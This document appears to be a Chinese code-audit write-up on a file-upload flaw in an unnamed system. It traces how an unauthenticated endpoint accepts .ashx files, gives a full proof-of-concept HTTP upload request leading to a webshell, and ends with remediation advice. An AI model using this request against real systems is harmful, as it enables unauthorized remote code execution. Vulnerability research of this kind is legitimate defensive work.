某系统代码审计到getshell
字数 1219 2025-08-22 12:22:54
某系统文件上传漏洞分析与利用教学文档
漏洞概述
本漏洞存在于某系统的文件上传功能中,由于未对.ashx文件扩展名进行有效过滤,导致攻击者可以上传恶意脚本文件,进而实现远程代码执行(RCE)。
系统架构分析
- 系统分为前端路由和后端路由
- 文件上传接口位于
/file/UploadFile,该接口位于鉴权白名单中
漏洞分析流程
1. 后端逻辑分析
-
系统首先检查
IsFileStorageBack的值(通过web.config配置)- 当值为0时,跳过if语句,进入新版本文件上传逻辑
- 调用
CreateFileStorageServ().UploadFile()
-
CreateFileStorageServ方法分析:- 搜索
StorageFactory发现位于Form.Service.dll CreateStorage方法中,当storagetype未传入时默认设置为0- 进入
"0" => new LocalStorage(),执行本地文件上传
- 搜索
2. 文件上传路径构造
上传路径通过以下方式构造:
- 参数:
basepath,vguid,filename basepath和vguid通过Combine方法拼接为路径- 使用
CheckInvalidPathChars进行路径检测 - 通过
StorageHelper.MergePath进行路径拼接
3. 文件写入操作
using (FileStream fileStream = new FileStream(text, FileMode.OpenOrCreate, FileAccess.Write))
{
inputStream.CopyTo(fileStream);
num = fileStream.Length;
fileStream.Close();
}
4. 文件扩展名过滤分析
- 系统在
SaveData方法前调用StorageExtNameFilter_Calling进行扩展名过滤 - 过滤列表不包含
.ashx扩展名 - 已过滤的扩展名包括(但不限于):
.aspx.asp.php- 其他常见脚本扩展名
漏洞利用方法
请求包构造要点
- 必须设置
storagetype头为0,以进入LocalStorage()处理逻辑 contentHeaders头可以为空flag值为true时,使用httpPostedFileBase.InputStream处理上传文件
完整PoC请求
POST /File/UploadFile?a=1 HTTP/1.1
Host: x.x.x.x
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Length: 379
------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="basepath"
------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="vguid"
xxxxxxxxx
------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="file"; filename="123.ashx"
xxxxxx
------WebKitFormBoundaryQIimhXw3aj8cZ3xg--
关键参数说明
basepath: 上传基础路径(可为空)vguid: 虚拟GUID参数(需要有效值)file: 上传的文件内容,必须使用.ashx扩展名storagetype头: 必须设置为0(通过请求头设置)
漏洞修复建议
- 完善文件扩展名过滤机制,将
.ashx加入黑名单 - 实现白名单机制,只允许特定的安全文件类型
- 对上传文件内容进行严格校验
- 对上传文件路径进行更严格的权限控制
- 考虑移除文件上传接口的白名单特性,增加身份验证
总结
本漏洞利用的关键在于系统未对.ashx文件扩展名进行过滤,结合文件上传接口位于白名单中的特性,使得攻击者可以绕过常规防护措施上传恶意脚本文件。通过分析系统处理文件上传的完整流程,可以构造特定的HTTP请求实现攻击。